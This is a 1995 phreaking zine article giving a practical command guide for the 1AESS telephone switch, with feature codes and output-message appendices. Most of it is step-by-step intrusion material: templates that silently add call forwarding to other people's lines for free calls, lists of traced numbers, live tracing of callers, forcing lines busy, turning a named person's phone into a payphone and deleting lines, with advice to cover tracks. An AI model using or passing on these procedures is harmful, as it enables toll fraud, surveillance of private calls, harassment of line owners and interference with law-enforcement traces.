The Tao of 1AESS

[This was originally published in Communications of The New order (CoTNO) Issue #6. It was written by Deadkat and myself with special thanks to Gatsby and Mark Tabas. It was published in the fall of 1995, sometime after September 21.]


The Bell System’s first trial of electronic switching took place in Morris, Illinois, in 1960. The Morris trial culminated a 6-year development and proved the viability of the stored-program control concept. The first application of electronic local switching in the Bell System occurred in May 1965 with the cutover of the first 1ESS switch in Succasunna, New Jersey.

The 1ESS switching system was designed for use in areas where large numbers of lines and lines with heavy traffic (primarily business customers) are served. The system has generally been used in areas serving between 10,000 and 65,000 lines and has been the primary replacement system for urban step-by-step and panel systems. The ease and flexibility of adding new services made 1ESS switching equipment a natural replacement vehicle in city applications where the demand for new, sophisticated business and residence services is high.

In 1976, the first electronic toll switching system to operate a digital time-division switching network under stored-program control, the 4ESS system, was placed in service. It used a new control, the 1A processor, for the first time to gain a call carrying capacity in excess of 550,000 busy-hour calls. The 1A processor was also designed for local switching application. It doubled the call-carrying capacity of the 1ESS switching system and was introduced in 1976 in the first 1AESS switch. The network capacity of 1ESS switching equipment was also doubled to allow the 1AESS switch to serve 130,000 lines.

In addition to local telephone service, the 1AESS switches offer a variety of special services. Custom Local Area Switching Services (CLASS) are available as well Custom Calling Services. Business customers may select offerings such as centrex, ESS-ACS, Enhanced Private Switched Communications Service, or electronic tandem switching.

Although more modern switches like 5ESS and DMS 200 have been developed, it is estimated that some 50 percent of all switches are still 1AESS.


The 1AESS uses a command line interface for all commands. The commands are divided into three fields: action, identification, and data. The fields are always separated by a colon. Every command is terminated by either a period for verification commands or a ‘ballbat’ (!) for change commands. The control-d is used to execute the command instead of a return. The underscore is used as a backspace. Commands are always typed in ‘all caps’.

The action field is the first field of the command and is ended by a colon. The identification field is ended by the second colon. The identification field has one or two subfields which are separated by a semicolon. Semicolons are not used elsewhere in the command. The data field consists of keyword units and is the remaining portion of the command.

Basic Machine Commands

These commands provide useful information from the system. The WHO-RV- command will tell you what CO it is and what version of the OS is installed. If your output is scrolling off the screen press space to end scrolling. The V-STOP- command will clear the buffer.

WHO-RV-.                  System information.
 SPACE                     Stops output from scrolling.
 V-STOP-.                  Free buffer of remaining LENS/INFO.

Channel Commands

Channel commands are used to redirect input and output. If a switch won’t respond to a command use the OP:CHAN command to check on current channel. If your channel is not responding, use the MON:CHAN command to switch output and control to your terminal (the remote). You can check the status of the RC with the RCCENSUS command.

OP:CHAN:MON!                   Shows all channels which are being monitored.
 MON:CHAN SC1;CHAN LOC!         Redirect output to remote screen.
 STOP: MON;CHAN SC1;CHAN LOC!   Redirect output to local screen.
                                (This command needs to be done after you 
                                are finished to help cover your tracks)
 OP:RCCENSUS!                   To see recent change status.

Tracing Commands

CI-LIST- will give you a list of all numbers which are being traced externally. It will not show you lines which are being traced internally, ie: numbers inside one of the prefixes controlled by the switch you are on.

CI-LIST-.                 Traced line list.

Check Features on Line

The VF command is used to check the current settings on a line. The DN XXXXXXX specifies the phone number of the line you wish to check. Replace XXXXXXX with the seven digit phone number of the line you are checking.

VF:DNSVY:FEATRS,DN XXXXXXX,1,PIC!   Check features of a line.    
VF:DNSVY:DN XXXXXXX,1,LASFTRS!      Display last Features

 Call Features   CWT- Call Waiting
                   CFB- Call Forward Busy - Busy=VM
                   CFV- Call Forwarding Variable
                   CFD- Call Forward Don't answer
                   TWC- Three Way Calling
                   TTC- Touch Tone
                   RCY- Ring Cycle
                   SC1- Speed Calling 1
                   SC2- Speed Calling 2
                   UNA- No Long Distance 
                   PXX- Block all LD service (guess)
                   MWI- Message Waiting Indicator
                   CHD- centrex(unremarkable)
                   CPU- centrex(unremarkable)
                   CLI- Calling Line Identification (CID)
                   ACB- Automatic Call Back Feature (?)
                   BLN- Special Toll Billing
                   FRE- Free Calling

The standard output of a command appears below. The ‘DN 348 2141’ specifies the number you are checking. The calling features will be listed on the second line by their three letter acronyms. This line has call waiting (CWT), a trace (TRC), and touch tone dialing (TTC).

Example of 1A output:

M 53 TR75 2 DN 348 2141 00000003
               CWT  TRC  TTC

Searching For Free Lines

The VFY command can be used to check if a line is in use. The output will list the LEN (Line Equipment Number) for the line and its call features in octal. If the LEN is all zeros, then that number has not been assigned. Replace XXXXXXX with the number you wish to check. You must prefix the phone number with 30. You can also check for unused LEN’s using the VFY command. Use the space bar to stop scrolling and the V-STOP command to cancel when looking up free LEN’s.

VFY-DN-30XXXXXXX.               Search for free lines.
 VFY-LEN-4100000000.             List all free LENs.
 VFY-TNN-XXXXXXXX.               To get information on trunk.

The output for the VFY-DN command will appear like the one below. Notice that this number has been assigned a LEN so it is in use.

M 06 TR01 796 9146
          0 0 0 0
          LEN 01 025 000
          001 000 000 000 000 000 4
          000 000 000 000 000 000 000 000
          0 0 0 0
          0 0 0 0 0

Searching for a Particular Feature on a Line (like trace)

All line information is stored in the switch for its coverage area. The switch is like a huge database in this sense. You can do global searches on the switch for any feature. One especially interesting feature to search for are traced numbers. Traced numbers listed this way are INTERNALLY traced as opposed to globally traced numbers shown with the CI-LIST- command. Global and internal trace lists are always very different. And remember, be a good Samaritan and call the person being traced and let them know! 😉

VF:DNSVY:FEATRS,EXMATCH TRACE!    Pull all numbers IN switch area with
                                  trace on it (takes a sec).

You can exmatch for any LASS feature by replacing the keyword TRACE with any call feature like call forwarding (CFB) and speed calling (SC1).

To See What Numbers Are on a Speed Calling List

Another nice use for the VFY command is to see what is on a line’s speed calling list. Replace XXXXXXX with the target phone number. One devious use is to look at the CO’s speed call list to find other internal telco numbers.

          09=mask  02=single list  (one digit speed calling)
                   20=double list  (two digit speed calling)
                   28=     "                   "
                   36=     "                   "
                   44=     "                   "

To Build a Line

The recent change command (RC) is used to create and modify lines. Because RC commands are usually very long and complex, they are typed on multiple lines to simplify them. Each subfield of the data section of the command is typed on a separate line ended by a slash () followed by pressing ctrl-d. To create a line, you specify LINE in the identification field. Before a line can be created, you must first locate an unused number by using the VFY-DN command explained above. Once a free number has been found, you use the VFY-LEN to find an available LEN. To build a new line, follow these steps:

First, find spare LEN (VFY-LEN-4100000000.). Next find free line. Now type in the RC commands using the following commands as a template:

RC:LINE:\         (create a line)
 ORD 1\            (execute the command immediately)
 TN XXXXXXX\       (telephone number)
 LEN XXXXXXXX\     (len found from above)
 LCC 1FR\          (line class code 1fr)
 CFV\              (call forward)
 XXX 288\          (type XXX, space, then the three digit PIC)
                    ld carrier -  222 - MCI
                                  288 - AT&T
                                  333 - Sprint, etc.)
 !                 (BEWM, don't forget the ctrl-d!!)

(Look for RCXX blah blah ACPT blah – This means the RECENT CHANGE has taken affect)

Creating Call Forwarding Numbers

The call forwarding feature is the most important feature for hackers. By creating a line or modifying an existing line with call forwarding, you can than use it to make free phone calls. You set the line to call forward/no ring and then give it the call forwarded number. This will allow you to call the modified line and be instantly forwarded to your pre-chosen destination.

First create a line using RC:LINE:, then modify the line using the following commands as a template.

RC:CFV:\          (add call forwarding to a line.. begin: )
 ORD 1\            (execute the command immediately) 
 BASE XXXXXXX\     (base number you are changing)
 TO XXXXXXX\       (local - XXXXXXX : ld - XXXXXXXXXX )
 PFX\              (set prefix to 1 if ld)
 !                 (BEWM)

To Change Call Forward Number

It is safer to modify an existing call forward than to create a new line solely for this purpose. You can use the VFY command and EXMATCH for CFB to find lines with call forwarding. Before you can change the call forwarding ‘TO’ number you must delete the old one. Remove call forward number using CFV:OUT with the template below.

RC:CFV;OUT:\      (remove call forward number…begin: )
 ORD 1\            (execute command immediately)
 BASE XXXXXXX\     (number to remove it from)
 !                 (Yeeee-Hahhhahah)

Make Call Forward Not Ring

The only drawback to call forwarding off someone’s line is if rings they might answer. To get around this, you add the call-forward no-ring option (ICFRR) using the following as a template.

RC:LINE;CHG:\     (recent change line to be specified)
 ORD 1\            (execute command immediately)
 TN XXXXXXX\       (number you wanna fuck with)
 ICFRR\            (this takes the ring off)
 !                 (Go!)

Adding a feature to a line

The RC:LINE;CHG: can also be used to add any other call feature. Use the same template but change the feature.

RC:LINE;CHG:\     (this is used for changing features)
 ORD 1\            (order number)
 TN XXXXXXX        (telephone number you are fucking with)
 TWC\              (replace this with any feature you wish)
 !                 (Fire!)

Removing a Feature

Use the NO delimiter to remove a feature from a line.

RC:LINE;CHG:\     (change a feature)
 ORD 1\            (effective immediately)
 TN XXXXXXX\       (telephone number)
 CFV NO\           (feature followed by NO)
 !                 (Boo-Ya!)

Change Phone number into payphone

You’ve read about in the Hacker Crackdown, now you too can be 31337 and change Gail Thackery’s phone into a payphone. In fact you can change the line class code (LCC) to anything you want. To display the LCC of a line use the following and replace the XXXXXXX with the line you wish to view.

VF:DNSVY:LCC,DN XXXXXXX,1,PIC!    (display line class code)
                                    DTF = Payphone
                                    1FR = Flat Rate
                                    1MR = Measured Rate
                                    1PC = One Pay Phone
                                    CDF = DTF Coin
                                    PBX = Private Branch Exchange
                                    CFD = Coinless(ANI7) Charge-a-call
                                    INW = InWATS  (800!@#)
                                    OWT = OutWATS 
                                    PBM = O HO/MO MSG REG (NO ANI)
                                    PMB = LTG = 1 HO/MO (Regular ANI6)
                                    (ani6 and ani7 - only good for DMS)

To change the line into a payphone use the RC:LINE;CHG command and modify the LCC like the example below.

RC:LINE;CHG;\     (this is used for changing features)
 ORD 1\            (order number)
 TN XXXXXXX\       (telephone number you are fucking with)
 LCC DTF\          (line class code you are changing to)
 !                 (Make it so.)

(You may have to remove some LASS features when doing this)

To Kill a Line and Remove It Permanently

If you need to delete a line you have created (or haven’t) use the following syntax.

RC:LINE;OUT:\     (remove line)
 ORD 1\            (effective immediately)
 TN XXXXXXX\       (on this number)
 !                 (GO!)

Monitoring Phone Calls

There are powerful utilities to monitor calls and affect phone lines available on a 1A. The T-DN- commands allow you to check the current status of line and make it busy or idle. If a line happens to be active you can use the NET-LINE- command to trace the call and find the numbers for both calling parties.

T-DN-RD XXXXXXX.                See if call in progress.
                                         output:  =1 line busy
                                                 =0 line idle
 T-DN-MB XXXXXXX.                Make line busy.
 T-DN-MI XXXXXXX.                Make line idle.
 NET-LINE-XXXXXXX0000.           To do a live trace on a phonenumber thru 
 NET-TNN-XXXXXX                  Same as above for trunk trace

Appendix 1 – Common output messages seen on 1A switches

  ** ALARM **
 AR01  Office alarm
 AR02  Alarm retired or transferred
 AR03  Fuse blown
 AR04  Unknown alarm scan point activated
 AR05  Commercial power failure
 AR06  Switchroom alarm via alarm grid
 AR07  Power plant alarm
 AR08  Alarm circuit battery loss
 AR09  AMA bus fuse blown
 AR10  Alarm configuration has been changed (retired,inhibited)
 AR11  Power converter trouble
 AR13  Carrier group alarm
 AR15  Hourly report on building and power alarms
 AT01  Results of trunk test
 CG01  Carrier group in alarm
 CG03  Reason for above
   ** COIN PHONE **
 CN02  List of pay phones with coin disposal problems
 CN03  Possible Trouble
 CN04  Phone taken out of restored service because of possible coin fraud
   ** COPY **
 COPY  Data copied from one address to another
   ** CALL TRACE **
 CT01  Manually requested trace line to line, information follows
 CT02  Manually requested trace line to trunk, information follows
 CT03  Intraoffice call placed to a number with CLID
 CT04  Interoffice call placed to a number with CLID
 CT05  Call placed to number on the CI list
 CT06  Contents of the CI list
 CT07  ACD related trace
 CT08  ACD related trace
 CT09  ACD related trace
 DCT COUNTS Count of T carrier errors
 DGN   Memory failure in cs/ps diagnostic program
 FM01  DCT alarm activated or retired
 FM02  Possible failure of entire bank not just frame
 FM03  Error rate of specified digroup
 FM04  Digroup out of frame more than indicated
 FM05  Operation or release of the loop terminal relay
 FM06  Result of digroup circuit diagnostics
 FM07  Carrier group alarm status of specific group
 FM08  Carrier group alarm count for digroup
 FM09  Hourly report of carrier group alarms
 FM10  Public switched digital capacity failure
 FM11  PUC counts of carrier group errors
 MA02  Status requested, print out of MACII scratch pad
 MA03  Hourly report of system circuits and units in trouble
 MA04  Reports condition of system
 MA05  Maintenance interrupt count for last hour
 MA06  Scanners,network and signal distributors in trouble
 MA07  Successful switch of duplicated unit (program store etc.)
 MA08  Excessive error rate of named unit
 MA09  Power should not be removed from named unit
 MA10  OK to remove paper
 MA11  Power manually removed from unit
 MA12  Power restored to unit
 MA13  Indicates central control active
 MA15  Hourly report of # of times interrupt recovery program acted
 MA17  Centrex data link power removed
 MA21  Reports action taken on MAC-REX command
 MA23  4 minute report, emergency action phase triggers are inhibited
   ** MEMORY **
 MN02  List of circuits in trouble in memory
 NT01  Network frame unable to switch off line after fault detection
 NT02  Network path trouble Trunk to Line
 NT03  Network path trouble Line to Line
 NT04  Network path trouble Trunk to Trunk
 NT06  Hourly report of network frames made busy
 NT10  Network path failed to restore
 OP:CISRC     Source of critical alarm, automatic every 15 minutes
 OP:CSSTATUS  Call store status
 OP:DUSTATUS  Data unit status
 OP:ERAPDATA  Error analysis database output
 OP:INHINT    Hourly report of inhibited devices
 OP:LIBSTAT   List of active library programs
 OP:OOSUNITS  Units out of service
 OP:PSSTATUS  Program store status
 PM01  Daily report
 PM02  Monthly report
 PM03  Response to a request for a specific section of report
 PM04  Daily summary of IC/IEC irregularities
   ** REPORT **
 REPT:ADS FUNCTION  Reports that a ADS function is about to occur
 REPT:ADS FUNCTION SIMPLEX Only one tape drive is assigned
 REPT:LINE TRBL Too many permanent off hooks, may indicate bad cable
 REPT:PROG CONT OFF-NORMAL System programs that are off or on
 REPT:RC CENSUS Hourly report on recent changes
 REPT:RC SOURCE Recent change system status (RCS=1 means RC Channel inhibited)
 RC18  RC message response
   ** REMOVE **
 RMV   Removed from service
   ** RESTORE **
 RST   Restored to service status
 RT04  Status of monitors
 SA01  Call store memory audit results
 SA03  Call store memory audit results
 SIG IRR  Blue box detection
 SIG IRR INHIBITED  Detector off
 SIG IRR TRAF  Half hour report of traffic data
 TC15  Reports overall traffic condition
 TL02  Reason test position test was denied
 TL03  Same as above
 TN01  Trunk diagnostic found trouble
 TN02  Dial tone delay alarm failure
 TN04  Trunk diag request from test panel
 TN05  Trunk test procedural report or denials
 TN06  Trunk state change
 TN07  Response to a trunk type and status request
 TN08  Failed incoming or outgoing call
 TN09  Network relay failures
 TN10  Response to TRK-LIST input, usually a request from test position
 TN11  Hourly, status of trunk undergoing tests
 TN16  Daily summary of precut trunk groups
 TOC01 Serious traffic condition
 TOC02 Reports status of less serious overload conditions
   ** TRANSLATION **  (shows class of service, calling features etc.)
 TR01  Translation information, response to VFY-DN
 TR03  Translation information, response to VFY-LEN
 TR75  Translation information, response to VF:DNSVY
       **             **
 TW02  Dump of octal contents of memory
 Trace Output Appearance (COT - Customer Oriented Trace)
 A 03 CT04 22 03 02  05 11 26  359  705 8500    <-- NUMBER CALLED
          CPN 212 382 8923                      <-- WHO CALLED
          01/14/95  22:03:02                    <-- TIME/DATE
          #236                                  <-- JOB NUMBER

Appendix 2 – Miscellaneous 1A Commands found on logs from CO dumpsters:

RMV::NPC 69!
 UTL::QRY.SCON to 135!        (as far out as   to 12003!)
 UTL::QRY.SCON 13615/01!
 GRTH::UNIT1!       (FT100) <-- comment written by command
 GRTH::UNI1,FTMI1, EQL(L,R)     (2,2) <-- Example
 RST::TAPE!                     (This and the next two commands were 
 UTL::BMTR.FROM DISK.TO TAPE!    ALWAYS found together, and are pretty
 RMV::TAPE!                      obvious)
 SDIS::FROM 11204/03.TO 11204/04!
 UTL::QRY.CMAP.TO 11204/03!
 UTL::QRY,CMAP 01117!
 SCON::RATE 96.FROM 11204/03.TO 11204/4!
               |_|____________Bay        (These show physical locations
                 |____________Unit        of trunks)
 UTL::LOC,NPC 01117!
  output -    1-01-38
              |||_______Bay                 ||_________Unit
                    |_________38(1/8) inches

Appendix 3 – Suggested reading

Acronyms 1988 (Phrack #20, file 11)
Central Office Operations by Agent Steal (LoDTJ #4, file 4)
ESS & 1A Switching Systems by Ninja Master
The Fine Art of Telephony by Crimson Flash (Phrack #38, file 7)
Guide to 5ESS by Firm G.R.A.S.P. (Phrack #43, file 16)
Lifting Ma Bell’s Cloak of Secrecy by VaxCat (Phrack #24, file 9)
Operator Services Position System by Bandito (Phun #5, file 8)
Peering Into the soul of ESS by Jack the Ripper (Phun #5, file 2)

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